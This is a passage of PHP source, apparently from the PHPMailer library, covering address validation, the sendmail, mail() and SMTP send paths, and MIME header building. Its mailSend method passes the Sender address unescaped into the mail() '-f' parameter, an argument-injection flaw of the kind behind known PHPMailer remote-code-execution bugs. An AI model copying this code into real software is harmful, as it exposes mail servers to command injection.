  940.                 //Fall back to older PCRE
  941.                 $patternselect = 'pcre';
  942.             } else {
  943.                 //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  944.                 if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  945.                     $patternselect = 'php';
  946.                 } else {
  947.                     $patternselect = 'noregex';
  948.                 }
  949.             }
  950.         }
  951.         switch ($patternselect) {
  952.             case 'pcre8':
  953.                 return (boolean)preg_match(
  954.                     '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
  955.                     '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
  956.                     '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
  957.                     '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
  958.                     '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
  959.                     '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
  960.                     '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
  961.                     '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  962.                     '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
  963.                     $address
  964.                 );
  965.             case 'pcre':
  966.                 //An older regex that doesn't need a recent PCRE
  967.                 return (boolean)preg_match(
  968.                     '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
  969.                     '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
  970.                     '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
  971.                     '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
  972.                     '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
  973.                     '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
  974.                     '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
  975.                     '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
  976.                     '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
  977.                     '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
  978.                     $address
  979.                 );
  980.             case 'html5':
  981.                 return (boolean)preg_match(
  982.                     '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
  983.                     '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
  984.                     $address
  985.                 );
  986.             case 'noregex':
  987.                 return (strlen($address) >= 3
  988.                     and strpos($address, '@') >= 1
  989.                     and strpos($address, '@') != strlen($address) - 1);
  990.             case 'php':
  991.             default:
  992.                 return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  993.         }
  994.     }
  995.     public function send()
  996.     {
  997.         try {
  998.             if (!$this->preSend()) {
  999.                 return false;
  1000.             }
  1001.             return $this->postSend();
  1002.         } catch (phpmailerException $exc) {
  1003.             $this->mailHeader = '';
  1004.             $this->setError($exc->getMessage());
  1005.             if ($this->exceptions) {
  1006.                 throw $exc;
  1007.             }
  1008.             return false;
  1009.         }
  1010.     }
  1011.     public function preSend()
  1012.     {
  1013.         try {
  1014.             $this->mailHeader = '';
  1015.             if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1016.                 throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1017.             }
  1018.             // Set whether the message is multipart/alternative
  1019.             if (!empty($this->AltBody)) {
  1020.                 $this->ContentType = 'multipart/alternative';
  1021.             }
  1022.             $this->error_count = 0; // reset errors
  1023.             $this->setMessageType();
  1024.             // Refuse to send an empty message unless we are specifically allowing it
  1025.             if (!$this->AllowEmpty and empty($this->Body)) {
  1026.                 throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1027.             }
  1028.             $this->MIMEHeader = $this->createHeader();
  1029.             $this->MIMEBody = $this->createBody();
  1030.             if ($this->Mailer == 'mail') {
  1031.                 if (count($this->to) > 0) {
  1032.                     $this->mailHeader .= $this->addrAppend('To', $this->to);
  1033.                 } else {
  1034.                     $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
  1035.                 }
  1036.                 $this->mailHeader .= $this->headerLine(
  1037.                     'Subject',
  1038.                     $this->encodeHeader($this->secureHeader(trim($this->Subject)))
  1039.                 );
  1040.             }
  1041.             // Sign with DKIM if enabled
  1042.             if (!empty($this->DKIM_domain)
  1043.                 && !empty($this->DKIM_private)
  1044.                 && !empty($this->DKIM_selector)
  1045.                 && file_exists($this->DKIM_private)) {
  1046.                 $header_dkim = $this->DKIM_Add(
  1047.                     $this->MIMEHeader . $this->mailHeader,
  1048.                     $this->encodeHeader($this->secureHeader($this->Subject)),
  1049.                     $this->MIMEBody
  1050.                 );
  1051.                 $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
  1052.                     str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
  1053.             }
  1054.             return true;
  1055.         } catch (phpmailerException $exc) {
  1056.             $this->setError($exc->getMessage());
  1057.             if ($this->exceptions) {
  1058.                 throw $exc;
  1059.             }
  1060.             return false;
  1061.         }
  1062.     }
  1063.     public function postSend()
  1064.     {
  1065.         try {
  1066.             // Choose the mailer and send through it
  1067.             switch ($this->Mailer) {
  1068.                 case 'sendmail':
  1069.                 case 'qmail':
  1070.                     return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1071.                 case 'mail':
  1072.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1073.                 case 'smtp':
  1074.                     return $this->SmtpSend($this->MIMEHeader, $this->MIMEBody);
  1075.                 default:
  1076.                     $sendMethod = $this->Mailer.'Send';
  1077.                     if (method_exists($this, $sendMethod)) {
  1078.                         return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1079.                     }
  1080.                     return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1081.             }
  1082.         } catch (phpmailerException $exc) {
  1083.             $this->setError($exc->getMessage());
  1084.             $this->edebug($exc->getMessage());
  1085.             if ($this->exceptions) {
  1086.                 throw $exc;
  1087.             }
  1088.         }
  1089.         return false;
  1090.     }
  1091.     protected function sendmailSend($header, $body)
  1092.     {
  1093.         if ($this->Sender != '') {
  1094.             if ($this->Mailer == 'qmail') {
  1095.                 $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1096.             } else {
  1097.                 $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1098.             }
  1099.         } else {
  1100.             if ($this->Mailer == 'qmail') {
  1101.                 $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1102.             } else {
  1103.                 $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1104.             }
  1105.         }
  1106.         if ($this->SingleTo) {
  1107.             foreach ($this->SingleToArray as $toAddr) {
  1108.                 if (!@$mail = popen($sendmail, 'w')) {
  1109.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1110.                 }
  1111.                 fputs($mail, 'To: ' . $toAddr . "\n");
  1112.                 fputs($mail, $header);
  1113.                 fputs($mail, $body);
  1114.                 $result = pclose($mail);
  1115.                 $this->doCallback(
  1116.                     ($result == 0),
  1117.                     array($toAddr),
  1118.                     $this->cc,
  1119.                     $this->bcc,
  1120.                     $this->Subject,
  1121.                     $body,
  1122.                     $this->From
  1123.                 );
  1124.                 if ($result != 0) {
  1125.                     throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1126.                 }
  1127.             }
  1128.         } else {
  1129.             if (!@$mail = popen($sendmail, 'w')) {
  1130.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1131.             }
  1132.             fputs($mail, $header);
  1133.             fputs($mail, $body);
  1134.             $result = pclose($mail);
  1135.             $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1136.             if ($result != 0) {
  1137.                 throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1138.             }
  1139.         }
  1140.         return true;
  1141.     }
  1142.     protected function mailSend($header, $body)
  1143.     {
  1144.         $toArr = array();
  1145.         foreach ($this->to as $toaddr) {
  1146.             $toArr[] = $this->addrFormat($toaddr);
  1147.         }
  1148.         $to = implode(', ', $toArr);
  1149.         if (empty($this->Sender)) {
  1150.             $params = ' ';
  1151.         } else {
  1152.             $params = sprintf('-f%s', $this->Sender);
  1153.         }
  1154.         if ($this->Sender != '' and !ini_get('safe_mode')) {
  1155.             $old_from = ini_get('sendmail_from');
  1156.             ini_set('sendmail_from', $this->Sender);
  1157.         }
  1158.         $result = false;
  1159.         if ($this->SingleTo && count($toArr) > 1) {
  1160.             foreach ($toArr as $toAddr) {
  1161.                 $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1162.                 $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1163.             }
  1164.         } else {
  1165.             $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1166.             $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1167.         }
  1168.         if (isset($old_from)) {
  1169.             ini_set('sendmail_from', $old_from);
  1170.         }
  1171.         if (!$result) {
  1172.             throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1173.         }
  1174.         return true;
  1175.     }
  1176.   public function getSMTPInstance()
  1177.     {
  1178.         if (!is_object($this->smtp)) {
  1179.             $this->smtp = new SMTP;
  1180.         }
  1181.         return $this->smtp;
  1182.     }
  1183.     protected function smtpSend($header, $body)
  1184.     {
  1185.         $bad_rcpt = array();
  1186.         if (!$this->smtpConnect($this->SMTPOptions)) {
  1187.             throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1188.         }
  1189.         if ('' == $this->Sender) {
  1190.             $smtp_from = $this->From;
  1191.         } else {
  1192.             $smtp_from = $this->Sender;
  1193.         }
  1194.         if (!$this->smtp->mail($smtp_from)) {
  1195.             $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1196.             throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1197.         }
  1198.         foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1199.             foreach ($togroup as $to) {
  1200.                 if (!$this->smtp->recipient($to[0])) {
  1201.                     $error = $this->smtp->getError();
  1202.                     $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1203.                     $isSent = false;
  1204.                 } else {
  1205.                     $isSent = true;
  1206.                 }
  1207.                 $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1208.             }
  1209.         }
  1210.         if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1211.             throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1212.         }
  1213.         if ($this->SMTPKeepAlive) {
  1214.             $this->smtp->reset();
  1215.         } else {
  1216.             $this->smtp->quit();
  1217.             $this->smtp->close();
  1218.         }
  1219.         if (count($bad_rcpt) > 0) {
  1220.             $errstr = '';
  1221.             foreach ($bad_rcpt as $bad) {
  1222.                 $errstr .= $bad['to'] . ': ' . $bad['error'];
  1223.             }
  1224.             throw new phpmailerException(
  1225.                 $this->lang('recipients_failed') . $errstr,
  1226.                 self::STOP_CONTINUE
  1227.             );
  1228.         }
  1229.         return true;
  1230.     }
  1231.     public function smtpConnect($options = array())
  1232.     {
  1233.         if (is_null($this->smtp)) {
  1234.             $this->smtp = $this->getSMTPInstance();
  1235.         }
  1236.         if ($this->smtp->connected()) {
  1237.             return true;
  1238.         }
  1239.         $this->smtp->setTimeout($this->Timeout);
  1240.         $this->smtp->setDebugLevel($this->SMTPDebug);
  1241.         $this->smtp->setDebugOutput($this->Debugoutput);
  1242.         $this->smtp->setVerp($this->do_verp);
  1243.         $hosts = explode(';', $this->Host);
  1244.         $lastexception = null;
  1245.         foreach ($hosts as $hostentry) {
  1246.             $hostinfo = array();
  1247.             if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1248.                 continue;
  1249.             }
  1250.             $prefix = '';
  1251.             $secure = $this->SMTPSecure;
  1252.             $tls = ($this->SMTPSecure == 'tls');
  1253.             if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1254.                 $prefix = 'ssl://';
  1255.                 $tls = false; // Can't have SSL and TLS at the same time
  1256.                 $secure = 'ssl';
  1257.             } elseif ($hostinfo[2] == 'tls') {
  1258.                 $tls = true;
  1259.                 $secure = 'tls';
  1260.             }
  1261.             $sslext = defined('OPENSSL_ALGO_SHA1');
  1262.             if ('tls' === $secure or 'ssl' === $secure) {
  1263.                 if (!$sslext) {
  1264.                     throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
  1265.                 }
  1266.             }
  1267.             $host = $hostinfo[3];
  1268.             $port = $this->Port;
  1269.             $tport = (integer)$hostinfo[4];
  1270.             if ($tport > 0 and $tport < 65536) {
  1271.                 $port = $tport;
  1272.             }
  1273.             if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1274.                 try {
  1275.                     if ($this->Helo) {
  1276.                         $hello = $this->Helo;
  1277.                     } else {
  1278.                         $hello = $this->serverHostname();
  1279.                     }
  1280.                     $this->smtp->hello($hello);
  1281.                     if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1282.                         $tls = true;
  1283.                     }
  1284.                     if ($tls) {
  1285.                         if (!$this->smtp->startTLS()) {
  1286.                             throw new phpmailerException($this->lang('connect_host'));
  1287.                         }
  1288.                         $this->smtp->hello($hello);
  1289.                     }
  1290.                     if ($this->SMTPAuth) {
  1291.                         if (!$this->smtp->authenticate(
  1292.                             $this->Username,
  1293.                             $this->Password,
  1294.                             $this->AuthType,
  1295.                             $this->Realm,
  1296.                             $this->Workstation
  1297.                         )
  1298.                         ) {
  1299.                             throw new phpmailerException($this->lang('authenticate'));
  1300.                         }
  1301.                     }
  1302.                     return true;
  1303.                 } catch (phpmailerException $exc) {
  1304.                     $lastexception = $exc;
  1305.                     $this->edebug($exc->getMessage());
  1306.                     $this->smtp->quit();
  1307.                 }
  1308.             }
  1309.         }
  1310.         $this->smtp->close();
  1311.         if ($this->exceptions and !is_null($lastexception)) {
  1312.             throw $lastexception;
  1313.         }
  1314.         return false;
  1315.     }
  1316.     public function smtpClose()
  1317.     {
  1318.         if ($this->smtp !== null) {
  1319.             if ($this->smtp->connected()) {
  1320.                 $this->smtp->quit();
  1321.                 $this->smtp->close();
  1322.             }
  1323.         }
  1324.     }
  1325.  
  1326.     public function setLanguage($langcode = 'en', $lang_path = '')
  1327.     {
  1328.         // Define full set of translatable strings in English
  1329.         $PHPMAILER_LANG = array(
  1330.             'authenticate' => 'SMTP Error: Could not authenticate.',
  1331.             'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
  1332.             'data_not_accepted' => 'SMTP Error: data not accepted.',
  1333.             'empty_message' => 'Message body empty',
  1334.             'encoding' => 'Unknown encoding: ',
  1335.             'execute' => 'Could not execute: ',
  1336.             'file_access' => 'Could not access file: ',
  1337.             'file_open' => 'File Error: Could not open file: ',
  1338.             'from_failed' => 'The following From address failed: ',
  1339.             'instantiate' => 'Could not instantiate mail function.',
  1340.             'invalid_address' => 'Invalid address',
  1341.             'mailer_not_supported' => ' mailer is not supported.',
  1342.             'provide_address' => 'You must provide at least one recipient email address.',
  1343.             'recipients_failed' => 'SMTP Error: The following recipients failed: ',
  1344.             'signing' => 'Signing Error: ',
  1345.             'smtp_connect_failed' => 'SMTP connect() failed.',
  1346.             'smtp_error' => 'SMTP server error: ',
  1347.             'variable_set' => 'Cannot set or reset variable: '
  1348.         );
  1349.         if (empty($lang_path)) {
  1350.             // Calculate an absolute path so it can work if CWD is not here
  1351.             $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
  1352.         }
  1353.         $foundlang = true;
  1354.         $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1355.         if ($langcode != 'en') { // There is no English translation file
  1356.             // Make sure language file path is readable
  1357.             if (!is_readable($lang_file)) {
  1358.                 $foundlang = false;
  1359.             } else {
  1360.                 $foundlang = include $lang_file;
  1361.             }
  1362.         }
  1363.         $this->language = $PHPMAILER_LANG;
  1364.         return (boolean)$foundlang; // Returns false if language not found
  1365.     }
  1366.     public function getTranslations()
  1367.     {
  1368.         return $this->language;
  1369.     }
  1370.     public function addrAppend($type, $addr)
  1371.     {
  1372.         $addresses = array();
  1373.         foreach ($addr as $address) {
  1374.             $addresses[] = $this->addrFormat($address);
  1375.         }
  1376.         return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1377.     }
  1378.  
  1379.     public function addrFormat($addr)
  1380.     {
  1381.         if (empty($addr[1])) { // No name provided
  1382.             return $this->secureHeader($addr[0]);
  1383.         } else {
  1384.             return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
  1385.                 $addr[0]
  1386.             ) . '>';
  1387.         }
  1388.     }
  1389.  
  1390.     public function wrapText($message, $length, $qp_mode = false)
  1391.     {
  1392.         $soft_break = ($qp_mode) ? sprintf(' =%s', $this->LE) : $this->LE;
  1393.         $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1394.         $lelen = strlen($this->LE);
  1395.         $crlflen = strlen(self::CRLF);
  1396.         $message = $this->fixEOL($message);
  1397.         if (substr($message, -$lelen) == $this->LE) {
  1398.             $message = substr($message, 0, -$lelen);
  1399.         }
  1400.         $line = explode($this->LE, $message); // Magic. We know fixEOL uses $LE
  1401.         $message = '';
  1402.         for ($i = 0; $i < count($line); $i++) {
  1403.             $line_part = explode(' ', $line[$i]);
  1404.             $buf = '';
  1405.             for ($e = 0; $e < count($line_part); $e++) {
  1406.                 $word = $line_part[$e];
  1407.                 if ($qp_mode and (strlen($word) > $length)) {
  1408.                     $space_left = $length - strlen($buf) - $crlflen;
  1409.                     if ($e != 0) {
  1410.                         if ($space_left > 20) {
  1411.                             $len = $space_left;
  1412.                             if ($is_utf8) {
  1413.                                 $len = $this->utf8CharBoundary($word, $len);
  1414.                             } elseif (substr($word, $len - 1, 1) == '=') {
  1415.                                 $len--;
  1416.                             } elseif (substr($word, $len - 2, 1) == '=') {
  1417.                                 $len -= 2;
  1418.                             }
  1419.                             $part = substr($word, 0, $len);
  1420.                             $word = substr($word, $len);
  1421.                             $buf .= ' ' . $part;
  1422.                             $message .= $buf . sprintf('=%s', self::CRLF);
  1423.                         } else {
  1424.                             $message .= $buf . $soft_break;
  1425.                         }
  1426.                         $buf = '';
  1427.                     }
  1428.                     while (strlen($word) > 0) {
  1429.                         if ($length <= 0) {
  1430.                             break;
  1431.                         }
  1432.                         $len = $length;
  1433.                         if ($is_utf8) {
  1434.                             $len = $this->utf8CharBoundary($word, $len);
  1435.                         } elseif (substr($word, $len - 1, 1) == '=') {
  1436.                             $len--;
  1437.                         } elseif (substr($word, $len - 2, 1) == '=') {
  1438.                             $len -= 2;
  1439.                         }
  1440.                         $part = substr($word, 0, $len);
  1441.                         $word = substr($word, $len);
  1442.                         if (strlen($word) > 0) {
  1443.                             $message .= $part . sprintf('=%s', self::CRLF);
  1444.                         } else {
  1445.                             $buf = $part;
  1446.                         }
  1447.                     }
  1448.                 } else {
  1449.                     $buf_o = $buf;
  1450.                     $buf .= ($e == 0) ? $word : (' ' . $word);
  1451.                     if (strlen($buf) > $length and $buf_o != '') {
  1452.                         $message .= $buf_o . $soft_break;
  1453.                         $buf = $word;
  1454.                     }
  1455.                 }
  1456.             }
  1457.             $message .= $buf . self::CRLF;
  1458.         }
  1459.         return $message;
  1460.     }
  1461.     public function utf8CharBoundary($encodedText, $maxLength)
  1462.     {
  1463.         $foundSplitPos = false;
  1464.         $lookBack = 3;
  1465.         while (!$foundSplitPos) {
  1466.             $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1467.             $encodedCharPos = strpos($lastChunk, '=');
  1468.             if (false !== $encodedCharPos) {
  1469.                 // Found start of encoded character byte within $lookBack block.
  1470.                 // Check the encoded byte value (the 2 chars after the '=')
  1471.                 $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1472.                 $dec = hexdec($hex);
  1473.                 if ($dec < 128) { // Single byte character.
  1474.                     // If the encoded char was found at pos 0, it will fit
  1475.                     // otherwise reduce maxLength to start of the encoded char
  1476.                     $maxLength = ($encodedCharPos == 0) ? $maxLength :
  1477.                         $maxLength - ($lookBack - $encodedCharPos);
  1478.                     $foundSplitPos = true;
  1479.                 } elseif ($dec >= 192) { // First byte of a multi byte character
  1480.                     // Reduce maxLength to split at start of character
  1481.                     $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1482.                     $foundSplitPos = true;
  1483.                 } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  1484.                     $lookBack += 3;
  1485.                 }
  1486.             } else {
  1487.                 // No encoded character found
  1488.                 $foundSplitPos = true;
  1489.             }
  1490.         }
  1491.         return $maxLength;
  1492.     }
  1493.     public function setWordWrap()
  1494.     {
  1495.         if ($this->WordWrap < 1) {
  1496.             return;
  1497.         }
  1498.         switch ($this->message_type) {
  1499.             case 'alt':
  1500.             case 'alt_inline':
  1501.             case 'alt_attach':
  1502.             case 'alt_inline_attach':
  1503.                 $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
  1504.                 break;
  1505.             default:
  1506.                 $this->Body = $this->wrapText($this->Body, $this->WordWrap);
  1507.                 break;
  1508.         }
  1509.     }
  1510.     public function createHeader()
  1511.     {
  1512.         $result = '';
  1513.         // Set the boundaries
  1514.         $uniq_id = md5(uniqid(time()));
  1515.         $this->boundary[1] = 'b1_' . $uniq_id;
  1516.         $this->boundary[2] = 'b2_' . $uniq_id;
  1517.         $this->boundary[3] = 'b3_' . $uniq_id;
  1518.         if ($this->MessageDate == '') {
  1519.             $this->MessageDate = self::rfcDate();
  1520.         }
  1521.         $result .= $this->headerLine('Date', $this->MessageDate);
  1522.  
  1523.         // To be created automatically by mail()
  1524.         if ($this->SingleTo) {
  1525.             if ($this->Mailer != 'mail') {
  1526.                 foreach ($this->to as $toaddr) {
  1527.                     $this->SingleToArray[] = $this->addrFormat($toaddr);
  1528.                 }
  1529.             }
  1530.         } else {
  1531.             if (count($this->to) > 0) {
  1532.                 if ($this->Mailer != 'mail') {
  1533.                     $result .= $this->addrAppend('To', $this->to);
  1534.                 }
  1535.             } elseif (count($this->cc) == 0) {
  1536.                 $result .= $this->headerLine('To', 'undisclosed-recipients:;');
  1537.             }
  1538.         }
  1539.         $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));
  1540.         // sendmail and mail() extract Cc from the header before sending
  1541.         if (count($this->cc) > 0) {
  1542.             $result .= $this->addrAppend('Cc', $this->cc);
  1543.         }
  1544.         // sendmail and mail() extract Bcc from the header before sending
  1545.         if ((
  1546.                 $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
  1547.             )
  1548.             and count($this->bcc) > 0
  1549.         ) {
  1550.             $result .= $this->addrAppend('Bcc', $this->bcc);
  1551.         }
  1552.         if (count($this->ReplyTo) > 0) {
  1553.             $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
  1554.         }
  1555.         // mail() sets the subject itself
  1556.         if ($this->Mailer != 'mail') {
  1557.             $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
  1558.         }
  1559.         if ($this->MessageID != '') {
  1560.             $this->lastMessageID = $this->MessageID;
  1561.         } else {
  1562.             $this->lastMessageID = sprintf('<%s@%s>', $uniq_id, $this->ServerHostname());
  1563.         }
  1564.         $result .= $this->HeaderLine('Message-ID', $this->lastMessageID);
  1565.         $result .= $this->headerLine('X-Priority', $this->Priority);
  1566.         if ($this->XMailer == '') {
  1567.             $result .= $this->headerLine(
  1568.                 'X-Mailer',
  1569.                 'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer/)'
  1570.             );
  1571.         } else {
  1572.             $myXmailer = trim($this->XMailer);
  1573.             if ($myXmailer) {
  1574.                 $result .= $this->headerLine('X-Mailer', $myXmailer);
  1575.             }
  1576.         }
  1577.         if ($this->ConfirmReadingTo != '') {
  1578.             $result .= $this->headerLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  1579.         }
  1580.         // Add custom headers
  1581.         for ($index = 0; $index < count($this->CustomHeader); $index++) {
  1582.             $result .= $this->headerLine(
  1583.                 trim($this->CustomHeader[$index][0]),
  1584.                 $this->encodeHeader(trim($this->CustomHeader[$index][1]))
  1585.             );
  1586.         }
  1587.         if (!$this->sign_key_file) {
  1588.             $result .= $this->headerLine('MIME-Version', '1.0');
  1589.             $result .= $this->getMailMIME();
  1590.         }
  1591.         return $result;
  1592.     }
  1593.     public function getMailMIME()
  1594.     {
  1595.         $result = '';
  1596.         $ismultipart = true;
  1597.         switch ($this->message_type) {
  1598.             case 'inline':
  1599.                 $result .= $this->headerLine('Content-Type', 'multipart/related;');
  1600.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1601.                 break;
  1602.             case 'attach':
  1603.             case 'inline_attach':
  1604.             case 'alt_attach':
  1605.             case 'alt_inline_attach':
  1606.                 $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  1607.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1608.                 break;
  1609.             case 'alt':
  1610.             case 'alt_inline':
  1611.                 $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  1612.                 $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  1613.                 break;
  1614.             default:
  1615.                 // Catches case 'plain': and case '':
  1616.                 $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  1617.                 $ismultipart = false;
  1618.                 break;
  1619.         }
  1620.         // RFC1341 part 5 says 7bit is assumed if not specified
  1621.         if ($this->Encoding != '7bit') {
  1622.             // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  1623.             if ($ismultipart) {
  1624.                 if ($this->Encoding == '8bit') {
  1625.                     $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  1626.                 }
  1627.                 // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  1628.             } else {
  1629.                 $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  1630.             }
  1631.         }
  1632.         if ($this->Mailer != 'mail') {
  1633.             $result .= $this->LE;
  1634.         }
  1635.         return $result;
  1636.     }
  1637.     public function getSentMIMEMessage()
  1638.     {
  1639.         return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  1640.     }
  1641.  
  1642.     public function createBody()
  1643.     {
  1644.         $body = '';
  1645.         if ($this->sign_key_file) {
  1646.             $body .= $this->getMailMIME() . $this->LE;
  1647.         }
  1648.         $this->setWordWrap();
  1649.         $bodyEncoding = $this->Encoding;
  1650.         $bodyCharSet = $this->CharSet;
  1651.         if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  1652.             $bodyEncoding = '7bit';
  1653.             $bodyCharSet = 'us-ascii';
  1654.         }
  1655.         $altBodyEncoding = $this->Encoding;
  1656.         $altBodyCharSet = $this->CharSet;
  1657.         if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  1658.             $altBodyEncoding = '7bit';
  1659.             $altBodyCharSet = 'us-ascii';
  1660.         }
  1661.         switch ($this->message_type) {
  1662.             case 'inline':
  1663.                 $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
